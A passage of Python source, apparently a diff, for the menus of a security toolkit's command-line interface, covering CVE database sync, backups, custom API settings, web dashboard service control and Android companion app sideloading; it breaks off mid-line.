+ + # Calculate total storage + total_size = 0 + + print(f" {Colors.CYAN}Databases:{Colors.RESET}") + print() + + # CVE Database + cve_size = cve_stats['db_size_mb'] + total_size += cve_size + status = f"{Colors.GREEN}Active{Colors.RESET}" if cve_stats['total_cves'] > 0 else f"{Colors.YELLOW}Empty{Colors.RESET}" + print(f" {Colors.BLUE}[1]{Colors.RESET} CVE Database") + print(f" {Colors.DIM}Records: {cve_stats['total_cves']:,} | Size: {cve_size} MB | {status}{Colors.RESET}") + + # System Audit Results + if system_inf.exists(): + sys_size = round(system_inf.stat().st_size / 1024 / 1024, 2) + total_size += sys_size + print(f" {Colors.BLUE}[2]{Colors.RESET} System Audit Data") + print(f" {Colors.DIM}Size: {sys_size} MB | {Colors.GREEN}Active{Colors.RESET}") + else: + print(f" {Colors.BLUE}[2]{Colors.RESET} System Audit Data") + print(f" {Colors.DIM}No data | {Colors.YELLOW}Empty{Colors.RESET}") + + # Custom Sites Database + if adult_sites.exists(): + import json + try: + with open(adult_sites) as f: + sites_data = json.load(f) + sites_count = len(sites_data.get('sites', [])) + sites_size = round(adult_sites.stat().st_size / 1024, 2) + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}Sites: {sites_count} | Size: {sites_size} KB{Colors.RESET}") + except: + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}Error reading | {Colors.RED}Corrupt{Colors.RESET}") + else: + print(f" {Colors.BLUE}[3]{Colors.RESET} Custom Sites Database") + print(f" {Colors.DIM}No custom sites | {Colors.YELLOW}Empty{Colors.RESET}") + + # Custom APIs + print(f" {Colors.BLUE}[4]{Colors.RESET} Custom APIs") + print(f" {Colors.DIM}APIs: {len(custom_apis)}{Colors.RESET}") + + print() + print(f" {Colors.DIM}Total Storage: ~{round(total_size, 2)} MB{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[S]{Colors.RESET} Sync All Databases") + print(f" {Colors.YELLOW}[B]{Colors.RESET} Backup All Databases") + print(f" {Colors.RED}[C]{Colors.RESET} Clear All Databases") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "0" or not choice: + break + elif choice == "1": + self.show_cve_settings() + elif choice == "2": + self._manage_system_audit_data() + elif choice == "3": + self._manage_custom_sites() + elif choice == "4": + self.show_custom_apis() + elif choice == "S": + self._sync_all_databases() + elif choice == "B": + self._backup_all_databases() + elif choice == "C": + self._clear_all_databases() + + except (EOFError, KeyboardInterrupt): + break + + def _manage_system_audit_data(self): + """Manage system audit data.""" + system_inf = self._app_dir / "system.inf" + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} System Audit Data{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if system_inf.exists(): + import json + try: + with open(system_inf) as f: + data = json.load(f) + + print(f" {Colors.CYAN}Audit Date:{Colors.RESET} {data.get('audit_date', 'Unknown')[:19]}") + print(f" {Colors.CYAN}Security Score:{Colors.RESET} {data.get('security_score', 'N/A')}/100") + print(f" {Colors.CYAN}Issues Found:{Colors.RESET} {len(data.get('issues', []))}") + print(f" {Colors.CYAN}System:{Colors.RESET} {data.get('system_info', {}).get('os_name', 'Unknown')}") + print() + + print(f" {Colors.RED}[D]{Colors.RESET} Delete Audit Data") + print(f" {Colors.CYAN}[V]{Colors.RESET} View Details") + except Exception as e: + print(f" {Colors.RED}Error reading data: {e}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}No audit data found.{Colors.RESET}") + print(f" {Colors.DIM}Run a system audit from My System module.{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "D" and system_inf.exists(): + confirm = input(f" {Colors.RED}Delete audit data? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + system_inf.unlink() + self.print_status("Audit data deleted", "success") + elif choice == "V" and system_inf.exists(): + import json + with open(system_inf) as f: + data = json.load(f) + print(f"\n{Colors.DIM}{json.dumps(data, indent=2)[:2000]}...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + pass + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _manage_custom_sites(self): + """Manage custom adult scanner sites.""" + sites_path = self._app_dir / "custom_adultsites.json" + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Custom Sites Database{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + if sites_path.exists(): + import json + try: + with open(sites_path) as f: + data = json.load(f) + + sites = data.get('sites', []) + print(f" {Colors.CYAN}Total Sites:{Colors.RESET} {len(sites)}") + print() + + if sites: + print(f" {Colors.DIM}Sites:{Colors.RESET}") + for site in sites[:10]: + name = site[0] if isinstance(site, list) else site.get('name', 'Unknown') + print(f" - {name}") + if len(sites) > 10: + print(f" {Colors.DIM}... and {len(sites) - 10} more{Colors.RESET}") + + print() + print(f" {Colors.RED}[D]{Colors.RESET} Delete All Custom Sites") + print(f" {Colors.CYAN}[E]{Colors.RESET} Export Sites List") + except Exception as e: + print(f" {Colors.RED}Error reading data: {e}{Colors.RESET}") + else: + print(f" {Colors.YELLOW}No custom sites configured.{Colors.RESET}") + print(f" {Colors.DIM}Add sites from the Adult Scanner module.{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "D" and sites_path.exists(): + confirm = input(f" {Colors.RED}Delete all custom sites? (y/n): {Colors.RESET}").strip().lower() + if confirm == 'y': + sites_path.unlink() + self.print_status("Custom sites deleted", "success") + elif choice == "E" and sites_path.exists(): + export_path = self._app_dir / "custom_sites_export.txt" + import json + with open(sites_path) as f: + data = json.load(f) + with open(export_path, 'w') as f: + for site in data.get('sites', []): + name = site[0] if isinstance(site, list) else site.get('name', '') + url = site[1] if isinstance(site, list) else site.get('url', '') + f.write(f"{name}: {url}\n") + self.print_status(f"Exported to {export_path}", "success") + + except (EOFError, KeyboardInterrupt): + pass + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _sync_all_databases(self): + """Sync all databases.""" + print() + print(f"{Colors.CYAN}[*] Syncing all databases...{Colors.RESET}") + print() + + # Sync CVE database + print(f"{Colors.CYAN}[*] Syncing CVE database (recent)...{Colors.RESET}") + from .cve import get_cve_db + cve_db = get_cve_db() + stats = cve_db.sync_database(days_back=30, verbose=True) + print(f"{Colors.GREEN}[+] CVE sync complete: {stats.get('cves_processed', 0):,} CVEs{Colors.RESET}") + + print() + self.print_status("All databases synced", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _backup_all_databases(self): + """Backup all databases.""" + import shutil + from datetime import datetime + + backup_dir = self._app_dir / "backups" / datetime.now().strftime("%Y%m%d_%H%M%S") + backup_dir.mkdir(parents=True, exist_ok=True) + + print() + print(f"{Colors.CYAN}[*] Creating backup at {backup_dir}...{Colors.RESET}") + print() + + files_to_backup = [ + ("data/cve/cve.db", "CVE Database"), + ("system.inf", "System Audit Data"), + ("custom_adultsites.json", "Custom Sites"), + ("custom_apis.json", "Custom APIs"), + ("autarch_settings.conf", "Settings"), + ] + + backed_up = 0 + for filepath, name in files_to_backup: + src = self._app_dir / filepath + if src.exists(): + dst = backup_dir / src.name + try: + shutil.copy2(src, dst) + print(f" {Colors.GREEN}[+]{Colors.RESET} {name}") + backed_up += 1 + except Exception as e: + print(f" {Colors.RED}[X]{Colors.RESET} {name}: {e}") + else: + print(f" {Colors.DIM}[-]{Colors.RESET} {name} (not found)") + + print() + self.print_status(f"Backed up {backed_up} files to {backup_dir}", "success") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _clear_all_databases(self): + """Clear all databases.""" + print() + print(f"{Colors.RED}[!] WARNING: This will delete ALL data:{Colors.RESET}") + print(f" - CVE Database") + print(f" - System Audit Data") + print(f" - Custom Sites") + print(f" - Custom APIs") + print() + + confirm = input(f"{Colors.WHITE}Type 'DELETE ALL' to confirm: {Colors.RESET}").strip() + + if confirm == 'DELETE ALL': + import os + + files_to_delete = [ + "data/cve/cve.db", + "system.inf", + "custom_adultsites.json", + "custom_apis.json", + ] + + for filepath in files_to_delete: + path = self._app_dir / filepath + if path.exists(): + try: + os.remove(path) + print(f" {Colors.GREEN}[+]{Colors.RESET} Deleted {path.name}") + except Exception as e: + print(f" {Colors.RED}[X]{Colors.RESET} Failed to delete {path.name}: {e}") + + self.print_status("All databases cleared", "success") + else: + self.print_status("Operation cancelled", "info") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_cve_settings(self): + """Display CVE database settings.""" + from .cve import get_cve_db + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} CVE Database Settings{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + cve_db = get_cve_db() + stats = cve_db.get_db_stats() + sys_info = cve_db.get_system_info() + + # Database info + print(f" {Colors.CYAN}Database Path:{Colors.RESET} {stats['db_path']}") + print(f" {Colors.CYAN}Database Size:{Colors.RESET} {stats['db_size_mb']} MB") + print(f" {Colors.CYAN}Total CVEs:{Colors.RESET} {stats['total_cves']:,}") + print(f" {Colors.CYAN}Last Sync:{Colors.RESET} {stats.get('last_sync', 'Never')[:19] if stats.get('last_sync') else 'Never'}") + print() + + # System detection + print(f" {Colors.CYAN}Detected OS:{Colors.RESET} {sys_info.get('os_name', 'Unknown')}") + print(f" {Colors.CYAN}CPE Prefix:{Colors.RESET} {sys_info.get('cpe_prefix', 'Unknown')}") + print() + + # NVD API Key status + api_key = self.config.get('nvd', 'api_key', fallback='') + if api_key: + print(f" {Colors.GREEN}NVD API Key:{Colors.RESET} Configured") + else: + print(f" {Colors.YELLOW}NVD API Key:{Colors.RESET} Not set (slower sync)") + print() + + print(f" {Colors.GREEN}[1]{Colors.RESET} Sync Database (Recent - 120 days)") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Sync Database (Full - all CVEs)") + print(f" {Colors.CYAN}[3]{Colors.RESET} Set NVD API Key") + print(f" {Colors.RED}[4]{Colors.RESET} Clear Database") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._sync_cve_database(days=120) + elif choice == "2": + self._sync_cve_database(full=True) + elif choice == "3": + self._set_nvd_api_key() + elif choice == "4": + self._clear_cve_database() + + except (EOFError, KeyboardInterrupt): + break + + def _sync_cve_database(self, days: int = 120, full: bool = False): + """Sync CVE database.""" + from .cve import get_cve_db + + print() + if full: + print(f"{Colors.YELLOW}[!] Full sync will download 200,000+ CVEs{Colors.RESET}") + print(f"{Colors.YELLOW}[!] This may take 2-6 hours{Colors.RESET}") + confirm = input(f"\n{Colors.WHITE}Continue? (y/n): {Colors.RESET}").strip().lower() + if confirm != 'y': + return + else: + print(f"{Colors.CYAN}[*] Syncing CVEs from last {days} days...{Colors.RESET}") + + print() + cve_db = get_cve_db() + stats = cve_db.sync_database(days_back=days, full_sync=full, verbose=True) + + print(f"\n{Colors.GREEN}[+] Sync complete: {stats.get('cves_processed', 0):,} CVEs{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _set_nvd_api_key(self): + """Set NVD API key.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} NVD API Key Configuration{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.DIM}Get your free API key at:{Colors.RESET}") + print(f" {Colors.CYAN}https://nvd.nist.gov/developers/request-an-api-key{Colors.RESET}") + print() + print(f" {Colors.DIM}Benefits: 50 requests/30s vs 5 requests/30s{Colors.RESET}") + print() + + current = self.config.get('nvd', 'api_key', fallback='') + if current: + print(f" {Colors.GREEN}Current: {current[:8]}...{Colors.RESET}") + print() + + try: + api_key = input(f"{Colors.WHITE} Enter API key (or Enter to skip): {Colors.RESET}").strip() + + if api_key: + self.config.set('nvd', 'api_key', api_key) + self.config.save() + self.print_status("API key saved", "success") + else: + self.print_status("No changes made", "info") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _clear_cve_database(self): + """Clear CVE database.""" + from .cve import get_cve_db + import os + + print() + print(f"{Colors.RED}[!] This will delete all CVE data{Colors.RESET}") + confirm = input(f"{Colors.WHITE}Type 'DELETE' to confirm: {Colors.RESET}").strip() + + if confirm == 'DELETE': + cve_db = get_cve_db() + db_path = cve_db.db_path + cve_db.close() + + try: + os.remove(db_path) + self.print_status("Database cleared", "success") + except Exception as e: + self.print_status(f"Failed to clear: {e}", "error") + else: + self.print_status("Operation cancelled", "info") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_custom_apis(self): + """Display custom APIs management menu.""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Custom APIs{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Load existing APIs + custom_apis = self._load_custom_apis() + + if custom_apis: + print(f" {Colors.CYAN}Configured APIs:{Colors.RESET}") + for i, (name, api) in enumerate(custom_apis.items(), 1): + status = f"{Colors.GREEN}Active{Colors.RESET}" if api.get('enabled', True) else f"{Colors.RED}Disabled{Colors.RESET}" + print(f" [{i}] {name} - {status}") + print(f" {Colors.DIM}{api.get('url', 'No URL')[:50]}...{Colors.RESET}") + print() + else: + print(f" {Colors.DIM}No custom APIs configured{Colors.RESET}") + print() + + print(f" {Colors.GREEN}[A]{Colors.RESET} Add API") + if custom_apis: + print(f" {Colors.CYAN}[E]{Colors.RESET} Edit API") + print(f" {Colors.RED}[D]{Colors.RESET} Delete API") + print(f" {Colors.YELLOW}[T]{Colors.RESET} Toggle API") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().upper() + + if choice == "0" or not choice: + break + elif choice == "A": + self._add_custom_api() + elif choice == "E" and custom_apis: + self._edit_custom_api(custom_apis) + elif choice == "D" and custom_apis: + self._delete_custom_api(custom_apis) + elif choice == "T" and custom_apis: + self._toggle_custom_api(custom_apis) + + except (EOFError, KeyboardInterrupt): + break + + def _load_custom_apis(self) -> dict: + """Load custom APIs from config.""" + import json + apis_path = self._app_dir / "custom_apis.json" + + if apis_path.exists(): + try: + with open(apis_path, 'r') as f: + return json.load(f) + except: + pass + return {} + + def _save_custom_apis(self, apis: dict): + """Save custom APIs to config.""" + import json + apis_path = self._app_dir / "custom_apis.json" + + with open(apis_path, 'w') as f: + json.dump(apis, f, indent=2) + + def _add_custom_api(self): + """Add a new custom API.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Add Custom API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + name = input(f" {Colors.WHITE}API Name: {Colors.RESET}").strip() + if not name: + return + + url = input(f" {Colors.WHITE}Base URL: {Colors.RESET}").strip() + api_key = input(f" {Colors.WHITE}API Key (optional): {Colors.RESET}").strip() + description = input(f" {Colors.WHITE}Description: {Colors.RESET}").strip() + + # API type + print(f"\n {Colors.DIM}API Types:{Colors.RESET}") + print(f" [1] REST API") + print(f" [2] GraphQL") + print(f" [3] SOAP") + print(f" [4] Other") + api_type = input(f" {Colors.WHITE}Type [1]: {Colors.RESET}").strip() or "1" + type_map = {"1": "REST", "2": "GraphQL", "3": "SOAP", "4": "Other"} + api_type = type_map.get(api_type, "REST") + + apis = self._load_custom_apis() + apis[name] = { + 'url': url, + 'api_key': api_key, + 'description': description, + 'type': api_type, + 'enabled': True, + } + self._save_custom_apis(apis) + + self.print_status(f"API '{name}' added", "success") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _edit_custom_api(self, apis: dict): + """Edit an existing custom API.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to edit: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + api = apis[name] + + clear_screen() + self._show_banner() + print(f"{Colors.BOLD}{Colors.WHITE} Edit API: {name}{Colors.RESET}") + print(f"{Colors.DIM} Press Enter to keep current value{Colors.RESET}") + print() + + new_url = input(f" URL [{api.get('url', '')}]: ").strip() or api.get('url', '') + new_key = input(f" API Key: ").strip() or api.get('api_key', '') + new_desc = input(f" Description [{api.get('description', '')}]: ").strip() or api.get('description', '') + + api['url'] = new_url + api['api_key'] = new_key + api['description'] = new_desc + self._save_custom_apis(apis) + + self.print_status("API updated", "success") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _delete_custom_api(self, apis: dict): + """Delete a custom API.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to delete: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + confirm = input(f" {Colors.RED}Delete '{name}'? (y/n): {Colors.RESET}").strip().lower() + + if confirm == 'y': + del apis[name] + self._save_custom_apis(apis) + self.print_status(f"API '{name}' deleted", "success") + else: + self.print_status("Cancelled", "info") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _toggle_custom_api(self, apis: dict): + """Toggle a custom API enabled/disabled.""" + api_list = list(apis.keys()) + print() + num = input(f" {Colors.WHITE}Enter API number to toggle: {Colors.RESET}").strip() + + try: + idx = int(num) - 1 + if 0 <= idx < len(api_list): + name = api_list[idx] + apis[name]['enabled'] = not apis[name].get('enabled', True) + self._save_custom_apis(apis) + status = "enabled" if apis[name]['enabled'] else "disabled" + self.print_status(f"API '{name}' {status}", "success") + except (ValueError, IndexError): + self.print_status("Invalid selection", "error") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def show_autarch_api(self): + """Display AUTARCH API settings (placeholder for future implementation).""" + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check if API is enabled + api_enabled = self.config.get_bool('api', 'enabled', fallback=False) + api_port = self.config.get_int('api', 'port', fallback=8080) + api_key = self.config.get('api', 'key', fallback='') + + if api_enabled: + print(f" {Colors.GREEN}Status:{Colors.RESET} Enabled") + else: + print(f" {Colors.YELLOW}Status:{Colors.RESET} Disabled") + + print(f" {Colors.CYAN}Port:{Colors.RESET} {api_port}") + print(f" {Colors.CYAN}API Key:{Colors.RESET} {'Configured' if api_key else 'Not set'}") + print() + + print(f" {Colors.DIM}The AUTARCH API allows external tools to{Colors.RESET}") + print(f" {Colors.DIM}interact with the framework programmatically.{Colors.RESET}") + print() + + print(f" {Colors.YELLOW}[!] API functionality coming in future version{Colors.RESET}") + print() + + print(f" {Colors.CYAN}[1]{Colors.RESET} Configure API Settings") + print(f" {Colors.CYAN}[2]{Colors.RESET} Generate API Key") + print(f" {Colors.CYAN}[3]{Colors.RESET} View API Documentation") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1": + self._configure_autarch_api() + elif choice == "2": + self._generate_api_key() + elif choice == "3": + self._show_api_docs() + + except (EOFError, KeyboardInterrupt): + break + + def _configure_autarch_api(self): + """Configure AUTARCH API settings.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Configure AUTARCH API{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + enabled = input(f" Enable API? (y/n) [{self.config.get_bool('api', 'enabled', fallback=False) and 'y' or 'n'}]: ").strip().lower() + if enabled: + self.config.set('api', 'enabled', 'true' if enabled == 'y' else 'false') + + port = input(f" Port [{self.config.get_int('api', 'port', fallback=8080)}]: ").strip() + if port.isdigit(): + self.config.set('api', 'port', port) + + self.config.save() + self.print_status("API settings saved", "success") + + except (EOFError, KeyboardInterrupt): + print() + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _generate_api_key(self): + """Generate a new API key.""" + import secrets + import string + + print() + api_key = ''.join(secrets.choice(string.ascii_letters + string.digits) for _ in range(32)) + + self.config.set('api', 'key', api_key) + self.config.save() + + print(f" {Colors.GREEN}New API Key:{Colors.RESET} {api_key}") + print(f"\n {Colors.YELLOW}Store this key securely - it won't be shown again!{Colors.RESET}") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def _show_api_docs(self): + """Show API documentation.""" + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} AUTARCH API Documentation{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + print(f" {Colors.CYAN}Endpoints (coming soon):{Colors.RESET}") + print() + print(f" {Colors.DIM}GET /api/v1/status{Colors.RESET}") + print(f" Get framework status") + print() + print(f" {Colors.DIM}GET /api/v1/modules{Colors.RESET}") + print(f" List available modules") + print() + print(f" {Colors.DIM}POST /api/v1/scan{Colors.RESET}") + print(f" Run a security scan") + print() + print(f" {Colors.DIM}GET /api/v1/cve/search?q={Colors.RESET}") + print(f" Search CVE database") + print() + print(f" {Colors.DIM}POST /api/v1/agent/task{Colors.RESET}") + print(f" Submit task to AI agent") + print() + + print(f" {Colors.YELLOW}Full documentation will be available when{Colors.RESET}") + print(f" {Colors.YELLOW}the API is implemented in a future version.{Colors.RESET}") + + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run_agent_hal(self): + """Run the Agent Hal module.""" + try: + from modules.agent_hal import run as run_hal + run_hal() + except ImportError as e: + self.print_status(f"Failed to load Agent Hal: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + except Exception as e: + self.print_status(f"Error running Agent Hal: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter to continue...{Colors.RESET}") + + def run_setup(self): + """Run the setup wizard.""" + from modules.setup import run as run_setup + run_setup() + + def show_web_service(self): + """Web service management menu.""" + import subprocess + + SERVICE_NAME = "autarch-web" + SERVICE_FILE = self._app_dir / "scripts" / "autarch-web.service" + SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service") + + while True: + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Web Dashboard Service{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Check status + installed = SYSTEMD_PATH.exists() + if installed: + result = subprocess.run( + ['systemctl', 'is-active', SERVICE_NAME], + capture_output=True, text=True + ) + is_active = result.stdout.strip() + result2 = subprocess.run( + ['systemctl', 'is-enabled', SERVICE_NAME], + capture_output=True, text=True + ) + is_enabled = result2.stdout.strip() + color = Colors.GREEN if is_active == 'active' else Colors.RED + print(f" Service: {color}{is_active}{Colors.RESET}") + print(f" Enabled: {is_enabled}") + else: + print(f" Service: {Colors.YELLOW}Not installed{Colors.RESET}") + + host = self.config.get('web', 'host', fallback='0.0.0.0') + port = self.config.get('web', 'port', fallback='8181') + print(f" Address: http://{host}:{port}") + print() + + if not installed: + print(f" {Colors.GREEN}[1]{Colors.RESET} Install Service") + else: + print(f" {Colors.GREEN}[1]{Colors.RESET} Start Service") + print(f" {Colors.RED}[2]{Colors.RESET} Stop Service") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Restart Service") + print(f" {Colors.CYAN}[4]{Colors.RESET} Enable (auto-start on boot)") + print(f" {Colors.CYAN}[5]{Colors.RESET} Disable (no auto-start)") + print(f" {Colors.DIM}[6]{Colors.RESET} View Logs") + + print(f"\n {Colors.CYAN}[7]{Colors.RESET} Start Web UI (foreground, no service)") + print(f" {Colors.CYAN}[8]{Colors.RESET} Configure Host/Port") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0" or not choice: + break + elif choice == "1" and not installed: + try: + subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True) + subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True) + self.print_status("Service installed", "success") + except Exception as e: + self.print_status(f"Install failed: {e}", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "1" and installed: + subprocess.run(['sudo', 'systemctl', 'start', SERVICE_NAME]) + self.print_status("Service started", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "2": + subprocess.run(['sudo', 'systemctl', 'stop', SERVICE_NAME]) + self.print_status("Service stopped", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "3": + subprocess.run(['sudo', 'systemctl', 'restart', SERVICE_NAME]) + self.print_status("Service restarted", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "4": + subprocess.run(['sudo', 'systemctl', 'enable', SERVICE_NAME]) + self.print_status("Auto-start enabled", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "5": + subprocess.run(['sudo', 'systemctl', 'disable', SERVICE_NAME]) + self.print_status("Auto-start disabled", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "6": + result = subprocess.run( + ['journalctl', '-u', SERVICE_NAME, '-n', '30', '--no-pager'], + capture_output=True, text=True + ) + print(f"\n{Colors.DIM}{result.stdout}{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "7": + from web.app import create_app + app = create_app() + print(f"\n{Colors.GREEN}[+] Starting web UI on {host}:{port}{Colors.RESET}") + print(f"{Colors.DIM} Press Ctrl+C to stop{Colors.RESET}\n") + try: + app.run(host=host, port=int(port), debug=False) + except KeyboardInterrupt: + print(f"\n{Colors.CYAN}Web UI stopped.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + elif choice == "8": + print() + new_host = input(f" {Colors.WHITE}Bind host [{host}]: {Colors.RESET}").strip() + new_port = input(f" {Colors.WHITE}Port [{port}]: {Colors.RESET}").strip() + if new_host: + self.config.set('web', 'host', new_host) + if new_port: + try: + int(new_port) + self.config.set('web', 'port', new_port) + except ValueError: + self.print_status("Invalid port number", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + continue + if new_host or new_port: + self.config.save() + self.print_status("Web settings saved", "success") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + def sideload_companion(self): + """Sideload Archon companion APK to connected Android device.""" + from core.paths import find_tool, get_app_dir + + clear_screen() + self._show_banner() + + print(f"{Colors.BOLD}{Colors.WHITE} Sideload Archon Companion App{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + adb = find_tool('adb') + if not adb: + self.print_status("ADB not found. Install Android SDK tools.", "error") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + # Check for APK + app_dir = get_app_dir() + apk_locations = [ + app_dir / "autarch_companion" / "app" / "build" / "outputs" / "apk" / "debug" / "app-debug.apk", + app_dir / "autarch_companion" / "app" / "build" / "outputs" / "apk" / "release" / "app-release.apk", + app_dir / "autarch_companion" / "archon.apk", + app_dir / "archon.apk", + ] + + apk_path = None + for loc in apk_locations: + if loc.exists(): + apk_path = loc + break + + if not apk_path: + self.print_status("Archon APK not found.", "warning") + print(f"\n {Colors.DIM}Expected locations:{Colors.RESET}") + for loc in apk_locations: + print(f" {Colors.DIM}{loc}{Colors.RESET}") + print(f"\n {Colors.YELLOW}Build the APK in Android Studio first, or copy it to:{Colors.RESET}") + print(f" {app_dir / 'autarch_companion' / 'archon.apk'}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + print(f" APK: {Colors.GREEN}{apk_path.name}{Colors.RESET} ({apk_path.stat().st_size // 1024}KB)") + print() + + # List connected devices + import subprocess + result = subprocess.run( + [str(adb), 'devices'], + capture_output=True, text=True, timeout=10 + ) + + devices = [] + for line in result.stdout.strip().split('\n')[1:]: + parts = line.split('\t') + if len(parts) == 2 and parts[1].strip() in ('device', 'recovery'): + devices.append(parts[0].strip()) + + if not devices: + self.print_status("No Android devices connected.", "warning") + print(f"\n {Colors.DIM}Connect via USB or enable ADB TCP/IP over WireGuard.{Colors.RESET}") + input(f"\n{Colors.WHITE} Press Enter...{Colors.RESET}") + return + + print(f" Connected devices:") + for i, dev in enumerate(devices, 1): + print(f" {Colors.GREEN}[{i}]{Colors.RESET} {dev}") + + print() + try: + choice = input(f" Select device (1-{len(devices)}, 0=cancel): ").strip() + if choice == "0" or not choice: + return + + idx = int(choice) - 1 + if 0 <= idx < len(devices): + target = devices[idx] + print(f"\n {Colors.CYAN}Installing Archon on {target}...{Colors.RESET}") + + result = subprocess.run( + [str(adb), '-s', target, 'install', '-r', str(apk_path)], + capture_output=True, text=True, timeout=120 + ) + + if result.returncode == 0: + self.print_status(f"Archon installed on {target}", "success") + else: + self.print_status(f"Install failed: 